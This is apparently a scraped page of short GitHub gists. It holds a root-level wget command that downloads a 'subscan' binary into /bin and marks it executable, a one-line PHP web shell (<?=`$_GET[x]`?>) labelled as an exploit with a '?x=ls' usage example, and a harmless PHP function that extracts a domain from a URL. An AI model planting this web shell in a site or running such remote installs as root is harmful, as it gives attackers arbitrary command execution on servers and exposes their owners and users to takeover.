This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo wget https://raw.githubusercontent.com/zidansec/subscan/master/subscan -O /bin/subscan && sudo chmod +x /bin/subscan |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?=`$_GET[x]`?> // Exploit: ?x=ls |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function get_domain($url) { | |
$str = '/^(?:https?.\/\/)?(?:[^@\/\n]+@)?(?:)?([^:\/?\n]+).*/m'; | |
preg_match_all($str, $url, $matches, PREG_SET_ORDER, 0); | |
foreach ($matches as $key => $value) { | |
// code... | |
//var_dump($value); | |
return $value[1]; | |
} | |
} |